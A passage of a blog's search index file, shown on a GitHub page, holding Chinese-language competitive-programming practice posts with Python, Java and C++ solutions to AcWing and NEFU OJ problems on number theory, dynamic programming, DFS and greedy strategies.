-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.json
1 lines (1 loc) · 768 KB
/
index.json
1
[{"body":"","link":"https://jackgdn.github.io/","section":"","tags":null,"title":""},{"body":"","link":"https://jackgdn.github.io/categories/","section":"categories","tags":null,"title":"Categories"},{"body":"","link":"https://jackgdn.github.io/tags/dfs/","section":"tags","tags":null,"title":"Dfs"},{"body":"","link":"https://jackgdn.github.io/post/","section":"post","tags":null,"title":"Posts"},{"body":"","link":"https://jackgdn.github.io/series/","section":"series","tags":null,"title":"Series"},{"body":"","link":"https://jackgdn.github.io/tags/","section":"tags","tags":null,"title":"Tags"},{"body":"","link":"https://jackgdn.github.io/tags/%E8%83%8C%E5%8C%85%E9%97%AE%E9%A2%98/","section":"tags","tags":null,"title":"背包问题"},{"body":"","link":"https://jackgdn.github.io/tags/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92/","section":"tags","tags":null,"title":"动态规划"},{"body":"","link":"https://jackgdn.github.io/categories/%E7%BB%83%E4%B9%A0/","section":"categories","tags":null,"title":"练习"},{"body":"","link":"https://jackgdn.github.io/tags/%E6%95%B0%E8%AE%BA/","section":"tags","tags":null,"title":"数论"},{"body":"题目来自 AcWing 1205. 买不到的数目 | 原题链接 首先说暴力做法。假设存在非负整数 $x,\\space y$ 使得 $k=nx+my$。同时存在两组数非负整数 $(a_0,b_0)$ 与 $(a_1,b_1)$ 使得 $a_0n-b_0m=1,\\space b_1m-a_1n=1$,这样可以得到 $k-1=(x-a_0)n+(y+b_0)m=(x+a_1)n+(y-b_1)m$。从大到小遍历 $k$ 时,第一个无法使 $x-a_0,\\space y+b_0$ 或 $x+a_1,\\space y-b_1$ 同时为正的 $k$ 即为所求值。\n例如对样例中 $n=4,\\space m=7$ 来说,$2\\times4-1\\times7=1,\\space3\\times7-5\\times4=1$。当 $k=4x+7y,\\space x,y\\geq0$ 时,$k-1=4(x-2)+7(y+1)=4(x+5)-7(y-3)$。当 $k=18$ 时,$k=1\\times4+2\\times7$;而当 $k=17$ 时,$k=(-1)\\times4+3\\times7=6\\times4+(-1)\\times7$,无法满足条件。\n根据上面的思路写出代码:\n1n, m = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2if n \u0026gt; m: 3 n, m = m, n 4 5i = 0 6while True: 7 if (i * m - 1) % n == 0: 8 km = ((i * m - 1) // n, i) 9 break 10 i += 1 11 12i = 0 13while True: 14 if (i * m + 1) % n == 0: 15 kn = ((i * m + 1) // n, i) 16 break 17 i += 1 18 19k = [0, n] 20for i in range(1, n * m)[::-1]: 21 if k[0] - kn[0] \u0026gt;= 0: 22 k[0] -= kn[0] 23 k[1] += kn[1] 24 elif k[1] - km[1] \u0026gt;= 0: 25 k[0] += km[0] 26 k[1] -= km[1] 27 else: 28 print(i) 29 break 经过观察发现,$k=18$ 能够表示而 $k=17$ 时不能够被表示,是因为 $1-2\u0026lt;0,\\space 2-3\u0026lt;0$,推广后可以表示为 $k=nx+my,\\space x-a_0\u0026lt;0,\\space y-b_1\u0026lt;0$。那么当 $x-a_0=y-b_1=-1$ 时,$k$ 刚好不满足条件且最大,因此可以用 $(a_0-1)n+(b_1-1)m-1$ 来求出这个值。\n1n, m = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2if n \u0026gt; m: 3 n, m = m, n 4 5i = 0 6while True: 7 if (i * m - 1) % n == 0: 8 km = ((i * m - 1) // n, i) 9 break 10 i += 1 11 12i = 0 13while True: 14 if (i * m + 1) % n == 0: 15 kn = ((i * m + 1) // n, i) 16 break 17 i += 1 18 19print((kn[0] - 1) * n + (km[1] - 1) * m - 1) 这段代码也是能 AC 的。\nDP 做法(同丑数):\n1n, m = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2 3nums = [0] 4nxtn = n 5nxtm = m 6ptrn = 0 7ptrm = 0 8while nums[-1] \u0026lt; n * m: 9 nums.append(min(nxtn, nxtm)) 10 11 if nums[-1] == nxtn: 12 ptrn += 1 13 nxtn = n + nums[ptrn] 14 if nums[-1] == nxtm: 15 ptrm += 1 16 nxtm = m + nums[ptrm] 17 18for i in range(1, len(nums))[::-1]: 19 if nums[i] - 1 != nums[i - 1]: 20 print(nums[i] - 1) 21 break DFS 做法,带有记忆化搜索与剪枝:\n1n, m = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2maximum = m * n 3 4 5def dfs(current, result, maximum, n, m, memo): 6 if current \u0026gt; maximum: 7 return 8 9 if memo.get(current, False): 10 return 11 result.append(current) 12 memo[current] = True 13 dfs(current + n, result, maximum, n, m, memo) 14 dfs(current + m, result, maximum, n, m, memo) 15 16 17result = list() 18memo = dict() 19dfs(0, result, maximum, n, m, memo) 20result.sort() 21for i in range(1, len(result))[::-1]: 22 if result[i] - 1 != result[i - 1]: 23 print(result[i] - 1) 24 break 用数学方法来解决,这道题的本质是一个弗罗贝尼乌斯问题,又叫换钱问题,求解公式为 $pq-p-q$ 或 $(p-1)(q-1)-1$。\n1print(*tuple(map(lambda x:(int(x[0]) - 1) * (int(x[1]) - 1) - 1, [input().strip().split(\u0026#34; \u0026#34;)]))) 定理证明:AcWing 525. 小凯的疑惑\n1211. 蚂蚁感冒 | 原题链接 这道题的一个关键点是,两只蚂蚁相遇后掉头也可以视为两只蚂蚁穿过对方。如果“零号病蚁”的前面没有蚂蚁与之相向而行,那么最终只会有他自己感染,因为他既无法追上前面的蚂蚁,他后面的蚂蚁也无法与他相遇。否则最终感染的蚂蚁是所有“指向”他的蚂蚁,即在他后面与之同向而行以及在他前面与之相向而行的蚂蚁,当然最后还要加上他自己。\n1n = int(input().strip()) 2ants = list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 3infected = ants[0] 4ants.sort(key=abs) 5 6index = ants.index(infected) 7 8to_right = False 9to_left = False 10left = 0 11right = 0 12for i in range(n): 13 if infected \u0026lt; 0 and i \u0026lt; index and ants[i] \u0026gt; 0: 14 to_right = True 15 elif infected \u0026gt; 0 and i \u0026gt; index and ants[i] \u0026lt; 0: 16 to_left = True 17 if i \u0026lt; index and ants[i] \u0026gt; 0: 18 left += 1 19 elif i \u0026gt; index and ants[i] \u0026lt; 0: 20 right += 1 21 22if infected \u0026gt; 0 and to_left or infected \u0026lt; 0 and to_right: 23 print(left + right + 1) 24else: 25 print(1) 1216. 饮料换购 | 原题链接 小学数学题。\n1n = int(input().strip()) 2count = n 3while n \u0026gt;= 3: 4 count += n // 3 5 n = n // 3 + n % 3 6print(count) 2. 01背包问题 | 原题链接 模板题,前几天刚练过01背包问题。\n1N, V = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2val, wei = [0], [0] 3for _ in range(N): 4 vi, wi = map(int, input().strip().split(\u0026#34; \u0026#34;)) 5 wei.append(vi) 6 val.append(wi) 7 8dp = [0 for _ in range(V + 1)] 9 10for i in range(1, N + 1): 11 for j in range(wei[i], V + 1)[::-1]: 12 dp[j] = max(dp[j], dp[j - wei[i]] + val[i]) 13 14print(dp[-1]) 1015. 摘花生 | 原题链接 用 dp[i][j] 表示走到 $(i,j)$ 时能够采摘的最大的花生数量。又因为题目要求只能向右或向下走,因此只需要比较左侧和上侧的格子即可。状态转移方程为 dp[i][j] = max(dp[i - 1][j], dp[i][j - 1]) + field[i][j]\n1T = int(input().strip()) 2while T \u0026gt; 0: 3 row, col = map(int, input().strip().split(\u0026#34; \u0026#34;)) 4 dp = [[0] * (col + 1)] 5 for i in range(row): 6 dp.append([0] + list(map(int, input().strip().split(\u0026#34; \u0026#34;)))) 7 8 for i in range(1, row + 1): 9 for j in range(1, col + 1): 10 dp[i][j] = max(dp[i - 1][j], dp[i][j - 1]) + dp[i][j] 11 12 print(dp[-1][-1]) 13 T -= 1 895. 最长上升子序列 | 原题链接 使用 dp[i] 表示在第 $i$ 个位置时的最长上升子序列。状态转移方程为 dp[i] = max(dp[i], dp[j] + 1),其中 j \u0026lt; i 且 nums[i] \u0026gt; nums[j]。\n1N = int(input().strip()) 2nums = list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 3dp = [1 for _ in range(N)] 4 5ans = 0 6for i in range(N): 7 for j in range(i): 8 if nums[i] \u0026gt; nums[j] and dp[i] \u0026lt; dp[j] + 1: 9 dp[i] = dp[j] + 1 10 ans = max(ans, dp[i]) 11 12print(ans) 因为单独一个数的上升序列长度为 1,所以 dp 数组初始化为 1。\n1212. 地宫取宝 | 原题链接 这题真难。多维 DP 都不简单,上一次是不开心的金明。\n首先最容易想到的是一个深搜的写法:\n1MOD = 1000000007 2n, m, k = map(int, input().strip().split(\u0026#34; \u0026#34;)) 3field = [[0] * (m + 1)] 4for _ in range(n): 5 field.append([0] + list(map(int, input().strip().split(\u0026#34; \u0026#34;)))) 6 7 8def dfs(i, j, cnt, val): 9 if i \u0026gt; n or j \u0026gt; m or cnt \u0026gt; k: 10 return 0 11 12 if i == n and j == m: 13 if cnt == k: 14 return 1 15 elif cnt == k - 1 and field[i][j] \u0026gt; val: 16 return 1 17 else: 18 return 0 19 20 current = 0 21 current += dfs(i + 1, j, cnt, val) + dfs(i, j + 1, cnt, val) 22 current %= MOD 23 if field[i][j] \u0026gt; val: 24 current += dfs(i + 1, j, cnt + 1, field[i][j]) + dfs(i, j + 1, cnt + 1, field[i][j]) 25 current %= MOD 26 return current 27 28 29ans = dfs(1, 1, 0, -1) 30print(ans) 这段深搜代码比较好理解,题目中的每一个限制条件在 dfs 函数中都有体现,美中不足的是这样做会超时,只能拿到 30% 的分数。所以还是要用动态规划解决。定义动态规划数组 dp[i][j][cnt][val] 表示在 $(i,j)$ 位置时手里有 $cnt$ 个物品且物品的最大价值为 $val$ 时的方法数。\n对于每一个 dp[i][j][cnt][val],其方法数可以来自两种情况数量的和:取或者不取。如果不取,则方法数为左一格和上一格中 $cnt$ 与 $val$ 和现在相等时的方法数,即 dp[i - 1][j][cnt][val] + dp[i][j - 1][cnt][val]。而如果取当前位置的宝物,那么方法数还要再加上左一格和上一格所有最大价值小于当前格物品的方法数,即 dp[i - 1][j][cnt - 1][v] + dp[i][j - 1][cnt - 1][v],其中 $v\u0026lt;val$。\n1MOD = 1000000007 2n, m, k = map(int, input().strip().split(\u0026#34; \u0026#34;)) 3field = [[0] * (m + 1)] 4for _ in range(n): 5 field.append([0] + list(map(lambda x: int(x) + 1, input().strip().split(\u0026#34; \u0026#34;)))) 6 7dp = [[[[0 for _ in range(14)] for _ in range(k + 1)] for _ in range(m + 1)] for _ in range(n + 1)] 8dp[1][1][0][0] = 1 9dp[1][1][1][field[1][1]] = 1 10 11for i in range(1, n + 1): 12 for j in range(1, m + 1): 13 for cnt in range(k + 1): 14 for val in range(14): 15 dp[i][j][cnt][val] += dp[i - 1][j][cnt][val] + dp[i][j - 1][cnt][val] 16 dp[i][j][cnt][val] %= MOD 17 18 if val == field[i][j] and cnt \u0026gt; 0: 19 for v in range(val): 20 dp[i][j][cnt][val] += dp[i - 1][j][cnt - 1][v] + dp[i][j - 1][cnt - 1][v] 21 dp[i][j][cnt][val] %= MOD 22 23ans = 0 24for value in dp[-1][-1][-1]: 25 ans += value 26print(ans % MOD) 注意\n有些宝物的价值为 0,而将 dp 数组全部初始化为 0 的话会导致无法取到任何价值为 0 的宝物(当前宝物价值严格大于前面的宝物才可以取),因此将所有宝物的价值增加 1。因为题目要求方法数而不是总价值,所以增加的 1 不会影响结果。 dp[1][1][0][0] = 1 是指不取 $(1,1)$ 中宝物时的方法数为 1,此时取了 0 个宝物,最大价值为 0;dp[1][1][1][field[1][1]] = 1 是指取 $(1,1)$ 中宝物时的方法数为 1,此时取了 1 个宝物最大价值为 field[1][1] 即 $(1,1)$ 中宝物的价值。 1214. 波动数列 | 原题链接 又是一道动态规划题,不过在 DP 之前先分析一下。令数列 $p$ 的第一项为 $x$ 且 $p_{n+1}=d_n+p_n,d_n\\in {a,-b}$,因此 $s=p_1+p_2+\\cdots+p_n=x+(x+d_1)+(x+d_1+d_2)+\\cdots+(x+d_1+d_2+\\cdots+d_{n-1})=nx+(n-1)d_1+(n-2)d_2+\\cdots+2d_{n-2}+d_{n-1}$。移项得到 $x=\\frac{s-((n-1)d_1+(n-2)d_2+\\cdots+2d_{n-2}+d_{n-1})}{n}$。因为 $x$ 一定为整数,因此 $n\\mid s-((n-1)d_1+(n-2)d_2+\\cdots+2d_{n-2}+d_{n-1})$,即 $s\\equiv (n-1)d_1+(n-2)d_2+\\cdots+2d_{n-2}+d_{n-1}\\space(mod\\space n)$。\n此时令 dp[i][j] 表示已经选了 $i$ 个 $a$ 或 $-b$,此时满足数列的和同余 $j$ 模 $n$ 的方法数。因此 dp[i][j] 有两个来源:前一个数选择了 $a$ 或者前一个数选择了 $-b$。如果前一个数选择了 $a$,那么继承的方法数就是 dp[i - 1][(j - (n - i) * a) % n]。因为 $s$ 的同余类可以表示为 $\\sum^n_{i=1}(n-i)d_i$,而当最后一次选择 $a$ 时 $d_i=a$,因此其前一项表示为 $j-(n-i)a$。同理,如果前一个数选择了 $b$,那么继承的方法数是 dp[i - 1][(j + (n - i) * b) % n]。\ndp 数组只需要将 dp[0][0] 初始化为 1,表示当数列长度为 0 时,和为 0 只有一种方法:什么都没有。\n1MOD = 100000007 2 3n, s, a, b = map(int, input().strip().split(\u0026#34; \u0026#34;)) 4dp = [[0 for _ in range(n)] for _ in range(n)] 5dp[0][0] = 1 6 7for i in range(1, n): 8 for j in range(n): 9 dp[i][j] = dp[i - 1][(j - (n - i) * a) % n] + dp[i - 1][(j + (n - i) * b) % n] 10 dp[i][j] %= MOD 11 12print(dp[n - 1][s % n]) ","link":"https://jackgdn.github.io/post/algo-math+dp/","section":"post","tags":["算法","数论","动态规划","dfs","背包问题"],"title":"数学与动态规划练习"},{"body":"","link":"https://jackgdn.github.io/tags/%E7%AE%97%E6%B3%95/","section":"tags","tags":null,"title":"算法"},{"body":"","link":"https://jackgdn.github.io/categories/%E7%AE%97%E6%B3%95/","section":"categories","tags":null,"title":"算法"},{"body":"","link":"https://jackgdn.github.io/series/%E7%AE%97%E6%B3%95%E5%AD%A6%E4%B9%A0/","section":"series","tags":null,"title":"算法学习"},{"body":"","link":"https://jackgdn.github.io/series/2025-%E5%AF%92%E5%81%87%E7%AE%97%E6%B3%95%E7%BB%83%E4%B9%A0/","section":"series","tags":null,"title":"2025 寒假算法练习"},{"body":"前几天出去旅游所以没咋做题。\n习题均来自 NEFU OJ Problem 75 | 老鼠的旅行 Description 一只老鼠有M磅猫食,然后在N个房间里面用猫食换JavaBean,房间i中能用F[i]磅的猫食来换J[i]磅的JavaBean,而且老鼠可以在一个房间里根据一定比例a%来换取JavaBean. 现在他是这任务分配给你:告诉他,他的JavaBeans的获取能最多。\nInput The input consists of multiple test cases. Each test case begins with a line containing two non-negative integers M and N. Then N lines follow, each contains two non-negative integers J[i] and F[i] respectively. The last test case is followed by two -1′s. All integers are not greater than 1000. M是开始时老鼠有的猫食!\nOutput For each test case, print in a single line a real number accurate up to 3 decimal places, which is the maximum amount of JavaBeans that FatMouse can obtain.\nSample Input 15 3 27 2 34 3 45 2 520 3 625 18 724 15 815 10 9-1 -1 Sample Output 113.333 231.500 Hint 贪心\nSource ZJCPC2004\n简单的贪心策略,从兑换比率最高的房间开始依次兑换。\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4import java.util.stream.Collectors; 5 6public class Main { 7 public static void main(String[] args) { 8 int M, N; 9 double J, F, ratio; 10 List\u0026lt;double[]\u0026gt; rooms = new ArrayList\u0026lt;\u0026gt;(); 11 double j, f, r, ans = 0.0; 12 try (Scanner sc = new Scanner(System.in)) { 13 while (true) { 14 rooms.clear(); 15 ans = 0.0; 16 17 M = sc.nextInt(); 18 N = sc.nextInt(); 19 if (M == -1) { 20 return; 21 } 22 23 for (int i = 0; i \u0026lt; N; i++) { 24 J = sc.nextDouble(); 25 F = sc.nextDouble(); 26 ratio = J / F; 27 rooms.add(new double[] { J, F, ratio }); 28 } 29 30 List\u0026lt;double[]\u0026gt; sorted = rooms.stream() 31 .sorted((a, b) -\u0026gt; Double.compare(b[2], a[2])) 32 .collect(Collectors.toList()); 33 34 for (double[] room : sorted) { 35 j = room[0]; 36 f = room[1]; 37 r = room[2]; 38 if (M \u0026gt;= f) { 39 ans += j; 40 M -= f; 41 } else { 42 ans += r * M; 43 break; 44 } 45 } 46 47 System.out.println(String.format(\u0026#34;%.3f\u0026#34;, ans)); 48 } 49 } 50 } 51} Problem 88 | Moving Tables Description The famous ACM (Advanced Computer Maker) Company has rented a floor of a building whose shape is in the following figure.\nThe floor has 200 rooms each on the north side and south side along the corridor. Recently the Company made a plan to reform its system. The reform includes moving a lot of tables between rooms. Because the corridor is narrow and all the tables are big, only one table can pass through the corridor. Some plan is needed to make the moving efficient. The manager figured out the following plan: Moving a table from a room to another room can be done within 10 minutes. When moving a table from room i to room j, the part of the corridor between the front of room i and the front of room j is used. So, during each 10 minutes, several moving between two rooms not sharing the same part of the corridor will be done simultaneously. To make it clear the manager illustrated the possible cases and impossible cases of simultaneous moving.\nFor each room, at most one table will be either moved in or moved out. Now, the manager seeks out a method to minimize the time to move all the tables. Your job is to write a program to solve the manager’s problem.\nInput The input consists of T test cases. The number of test cases T is given in the first line of the input. Each test case begins with a line containing an integer N , 1\u0026lt;=N\u0026lt;=200 , that represents the number of tables to move. Each of the following N lines contains two positive integers s and t, representing that a table is to move from room number s to room number t (each room number appears at most once in the N lines). From the N+3-rd line, the remaining test cases are listed in the same manner as above.\nOutput The output should contain the minimum time in minutes to complete the moving, one per line.\nSample Input 13 24 310 20 430 40 550 60 670 80 72 81 3 92 200 103 1110 100 1220 80 1330 50 Sample Output 110 220 330 Source\nhdu\n这道题其实是找不重复区间。第一步将上下的区间统一,这样处理后 1 -\u0026gt; 3、2 -\u0026gt; 4、1 -\u0026gt; 4、2 -\u0026gt; 4 就是同一段区间。然后遍历全部区间,只要没有重复部分就可以在同一回合移动。\n需要注意存储区间时需要让左端点小于等于右端点,且存储的区间要按照左右端点依次排序。\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4import java.util.stream.Collectors; 5 6public class Main { 7 public static void main(String[] args) { 8 Scanner sc = new Scanner(System.in); 9 int T = sc.nextInt(); 10 List\u0026lt;int[]\u0026gt; moves = new ArrayList\u0026lt;\u0026gt;(); 11 12 int N, s, t, step; 13 while (T-- \u0026gt; 0) { 14 moves.clear(); 15 N = sc.nextInt(); 16 step = N; 17 boolean[] moved = new boolean[N]; 18 19 for (int j = 0; j \u0026lt; N; j++) { 20 s = sc.nextInt(); 21 t = sc.nextInt(); 22 int[] move = new int[] { Math.min(s, t), Math.max(s, t) }; 23 for (int i = 0; i \u0026lt;= 1; i++) { 24 if (move[i] % 2 == 0) { 25 move[i] /= 2; 26 } else { 27 move[i] = (move[i] + 1) / 2; 28 } 29 } 30 moves.add(move); 31 } 32 33 List\u0026lt;int[]\u0026gt; sorted = moves.stream() 34 .sorted((a, b) -\u0026gt; { 35 if (a[0] != b[0]) { 36 return Integer.compare(a[0], b[0]); 37 } else { 38 return Integer.compare(a[1], b[1]); 39 } 40 }).collect(Collectors.toList()); 41 42 int time = 0; 43 while (step \u0026gt; 0) { 44 int[] current = new int[2]; 45 int i; 46 for (i = 0; i \u0026lt; N; i++) { 47 if (!moved[i]) { 48 current = sorted.get(i); 49 moved[i] = true; 50 step--; 51 break; 52 } 53 } 54 55 for (; i \u0026lt; N; i++) { 56 if (!moved[i] \u0026amp;\u0026amp; sorted.get(i)[0] \u0026gt; current[1]) { 57 current = sorted.get(i); 58 moved[i] = true; 59 step--; 60 } 61 } 62 time += 10; 63 } 64 65 System.out.println(time); 66 } 67 sc.close(); 68 } 69} Problem 89 | Wooden Sticks Description There is a pile of n wooden sticks. The length and weight of each stick are known in advance. The sticks are to be processed by a woodworking machine in one by one fashion. It needs some time, called setup time, for the machine to prepare processing a stick. The setup times are associated with cleaning operations and changing tools and shapes in the machine. The setup times of the woodworking machine are given as follows: (a) The setup time for the first wooden stick is 1 minute. (b) Right after processing a stick of length l and weight w , the machine will need no setup time for a stick of length l' and weight w' if l \u0026lt;= l' and w \u0026lt;= w'. Otherwise, it will need 1 minute for setup. You are to find the minimum setup time to process a given pile of n wooden sticks. For example, if you have five sticks whose pairs of length and weight are ( 9 , 4 ) , ( 2 , 5 ) , ( 1 , 2 ) , ( 5 , 3 ) , and ( 4 , 1 ) , then the minimum setup time should be 2 minutes since there is a sequence of pairs ( 4 , 1 ) , ( 5 , 3 ) , ( 9 , 4 ) , ( 1 , 2 ) , ( 2 , 5 ) .\nInput The input consists of T test cases. The number of test cases (T) is given in the first line of the input file. Each test case consists of two lines: The first line has an integer n , 1 \u0026lt;= n \u0026lt;= 5000 , that represents the number of wooden sticks in the test case, and the second line contains 2n positive integers l1 , w1 , l2 , w2 ,..., ln , wn , each of magnitude at most 10000 , where li and wi are the length and weight of the i th wooden stick, respectively. The 2n integers are delimited by one or more spaces.\nOutput The output should contain the minimum setup time in minutes, one per line.\nSample Input 13 25 34 9 5 2 2 1 3 5 1 4 43 52 2 1 1 2 2 63 71 3 2 2 3 1 Sample Output 12 21 33 Source taejon2001\n将所有木棍依次按照 l 和 w 排序,从小到大处理木棍,代码和上一题类似。\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner sc = new Scanner(System.in); 8 9 int l, w, n; 10 List\u0026lt;int[]\u0026gt; sticks = new ArrayList\u0026lt;\u0026gt;(); 11 12 int T = sc.nextInt(); 13 while (T-- \u0026gt; 0) { 14 sticks.clear(); 15 n = sc.nextInt(); 16 boolean[] solved = new boolean[n]; 17 int step = n; 18 for (int i = 0; i \u0026lt; n; i++) { 19 l = sc.nextInt(); 20 w = sc.nextInt(); 21 sticks.add(new int[] { l, w }); 22 } 23 24 sticks.sort((a, b) -\u0026gt; { 25 if (a[0] != b[0]) { 26 return Integer.compare(a[0], b[0]); 27 } else { 28 return Integer.compare(a[1], b[1]); 29 } 30 }); 31 32 int time = 0; 33 int[] current = new int[2]; 34 while (step \u0026gt; 0) { 35 int i; 36 for (i = 0; i \u0026lt; n; i++) { 37 if (!solved[i]) { 38 current = sticks.get(i); 39 step--; 40 solved[i] = true; 41 break; 42 } 43 } 44 45 for (; i \u0026lt; n; i++) { 46 if (!solved[i] \u0026amp;\u0026amp; sticks.get(i)[1] \u0026gt;= current[1]) { 47 current = sticks.get(i); 48 solved[i] = true; 49 step--; 50 } 51 } 52 53 time++; 54 } 55 System.out.println(time); 56 } 57 sc.close(); 58 } 59} Problem 90 | 今年暑假不AC Description “今年暑假不AC?” “是的。” “那你干什么呢?” “看世界杯呀,笨蛋!” “@#$%^\u0026amp;*%...”\n确实如此,世界杯来了,球迷的节日也来了,估计很多ACMer也会抛开电脑,奔向电视了。 作为球迷,一定想看尽量多的完整的比赛,当然,作为新时代的好青年,你一定还会看一些其它的节目,比如新闻联播(永远不要忘记关心国家大事)、非常6+7、超级女生,以及王小丫的《开心辞典》等等,假设你已经知道了所有你喜欢看的电视节目的转播时间表,你会合理安排吗?(目标是能看尽量多的完整节目)\nInput 输入数据包含多个测试实例,每个测试实例的第一行只有一个整数n(n\u0026lt;=100),表示你喜欢看的节目的总数,然后是n行数据,每行包括两个数据Ti_s,Ti_e (1\u0026lt;=i\u0026lt;=n),分别表示第i个节目的开始和结束时间,为了简化问题,每个时间都用一个正整数表示。n=0表示输入结束,不做处理。\nOutput 对于每个测试实例,输出能完整看到的电视节目的个数,每个测试实例的输出占一行。\nSample Input 112 21 3 33 4 40 7 53 8 615 19 715 20 810 15 98 18 106 12 115 10 124 14 132 9 140 Sample Output 15 Hint 贪心\nSource hdu lcy\n这道题还是要找不重复区间。依次按照节目的结束时间和开始时间排序,随后按顺序找到可以播放的节目。\n1import java.util.Scanner; 2import java.util.List; 3import java.util.ArrayList; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner sc = new Scanner(System.in); 8 int n, s, e; 9 List\u0026lt;int[]\u0026gt; programs = new ArrayList\u0026lt;\u0026gt;(); 10 while (true) { 11 n = sc.nextInt(); 12 programs.clear(); 13 if (n == 0) { 14 sc.close(); 15 return; 16 } 17 for (int i = 0; i \u0026lt; n; i++) { 18 s = sc.nextInt(); 19 e = sc.nextInt(); 20 programs.add(new int[] { s, e }); 21 } 22 23 programs.sort((a, b) -\u0026gt; { 24 if (a[1] != b[1]) { 25 return Integer.compare(a[1], b[1]); 26 } else { 27 return Integer.compare(a[0], b[0]); 28 } 29 }); 30 31 int[] current = new int[] { 0, 0 }; 32 int count = 0; 33 for (int[] program : programs) { 34 if (program[0] \u0026gt;= current[1]) { 35 count++; 36 current = program; 37 } 38 } 39 System.out.println(count); 40 } 41 } 42} 最开始提交忘记在每一组样例输入时 programs.clear() 清空上一组样例了,导致一直错。\n感觉用 C++ 的结构体会更方便:\n1#include \u0026lt;algorithm\u0026gt; 2#include \u0026lt;iostream\u0026gt; 3 4using namespace std; 5 6struct program { 7\tint s, e; 8}; 9 10program programs[100]; 11 12bool cmp(program a, program b) { 13\tif (a.e != b.e) { 14\treturn a.e \u0026lt; b.e; 15\t} 16\telse { 17\treturn a.s \u0026lt; b.s; 18\t} 19} 20 21int main() { 22\tint n; 23\twhile (cin \u0026gt;\u0026gt; n) 24\t{ 25\tif (n == 0) { 26\treturn 0; 27\t} 28 29\tfor (int i = 0; i \u0026lt; n; i++) { 30\tcin \u0026gt;\u0026gt; programs[i].s \u0026gt;\u0026gt; programs[i].e; 31\t} 32 33\tsort(programs, programs + n, cmp); 34 35\tprogram p; 36\tp.s = 0; 37\tp.e = 0; 38\tint count = 0; 39\tfor (int i = 0; i \u0026lt; n; i++) { 40\tif (programs[i].s \u0026gt;= p.e) { 41\tp = programs[i]; 42\tcount++; 43\t} 44\t} 45\tcout \u0026lt;\u0026lt; count \u0026lt;\u0026lt; endl; 46 47\t} 48} 深搜解法:\n1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 Scanner sc = new Scanner(System.in); 7 while (true) { 8 int n = sc.nextInt(); 9 if (n == 0) { 10 sc.close(); 11 return; 12 } 13 14 Program[] programs = new Program[n]; 15 for (int i = 0; i \u0026lt; n; i++) { 16 programs[i] = new Program(); 17 programs[i].s = sc.nextInt(); 18 programs[i].e = sc.nextInt(); 19 } 20 21 Arrays.sort(programs, (a, b) -\u0026gt; { 22 if (a.e != b.e) { 23 return Integer.compare(a.e, b.e); 24 } else { 25 return Integer.compare(a.s, b.s); 26 } 27 }); 28 29 int count = dfs(programs, -1, 0, n, 0); 30 System.out.println(count); 31 } 32 } 33 34 public static int dfs(Program[] programs, int t, int count, int n, int k) { 35 int max_count = count; 36 for (int i = k; i \u0026lt; n; i++) { 37 if (programs[i].s \u0026gt;= t) { 38 max_count = Math.max(max_count, dfs(programs, programs[i].e, count + 1, n, i + 1)); 39 } 40 } 41 42 return max_count; 43 } 44} 45 46class Program { 47 public int s = 0, e = 0; 48} ","link":"https://jackgdn.github.io/post/lanqiao-week5/","section":"post","tags":["算法","贪心策略","dfs"],"title":"2025寒假算法练习——Week 5"},{"body":"","link":"https://jackgdn.github.io/tags/%E8%B4%AA%E5%BF%83%E7%AD%96%E7%95%A5/","section":"tags","tags":null,"title":"贪心策略"},{"body":"题目来自 AcWing 贪心更像是一种策略和思想,而不是某一种特定的算法。\n1055. 股票买卖 II | 原题链接 这道题的解决思路就是的低价卖高价卖。因为可以买卖多次,因此通过追求局部最优解得到答案。\n1n = int(input()) 2nums = tuple(map(int, input().split(\u0026#34; \u0026#34;))) 3 4profit = 0 5for i in range(1, n): 6 if nums[i] \u0026gt; nums[i - 1]: 7 profit += nums[i] - nums[i - 1] 8 9print(profit) 104. 货仓选址 | 原题链接 货仓的在数轴上的位置一定在最小值和最大值之间,以确保总距离最近。当只有两个商店时,只要货仓的位置在两个商店中间,则总距离一定最小且相等;如果再增加两个商店,当货仓的位置位于所有商店的中间时,总距离依然最小且相等……再假设商店 $A_1,A_2,\\cdots A_n$ 的位置升序排列,则货仓的位置一定在编号最中间的商店。\n1n = int(input()) 2nums = list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 3 4if n == 1: 5 print(0) 6 exit() 7 8if n == 2: 9 print(abs(nums[1] - nums[0])) 10 exit() 11 12nums.sort() 13pos = -1 14if n % 2 == 0: 15 pos = (nums[n // 2] + nums[n // 2 - 1]) // 2 16else: 17 pos = nums[n // 2] 18 19distance = 0 20for i in nums: 21 distance += abs(i - pos) 22 23print(distance) 112. 雷达设备 | 原题链接 首先以小岛为圆心,在岸上画出可以监测到小岛的区间。此时题目转换成在数轴上给出 n 个区间,最少点多少个点能够使每个区间中至少有一个点。\n以每个区间的右端点为 key 排序,然后选定第一个区间的右端点,依次检测每个区间的左端点是否在这个点的左侧。如果是则说明这两个区间可以共享一个点,否则则以新的一个区间的右端点作为基准点继续检测。\n1n, d = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2islands = list() 3for _ in range(n): 4 x, y = map(int, input().strip().split(\u0026#34; \u0026#34;)) 5 if y \u0026gt; d: 6 print(-1) 7 exit() 8 r = (d**2 - y**2) ** 0.5 9 islands.append((x - r, x + r)) 10 11islands.sort(key=lambda x: x[1]) 12count = 1 13current = islands[0] 14for i in range(n): 15 if islands[i][0] \u0026gt; current[1]: 16 count += 1 17 current = islands[i] 18print(count) 1235. 付账问题 | 原题链接 当标标准差尽可能小的时候,每个人付的钱都应该尽量贴近平均值。如果有人带的钱少于平均值,那么就让他把自己带的钱都花掉,然后剩下的人继续平摊。一直重复这个过程即可标准差最小。\n1n, s = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2a = list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 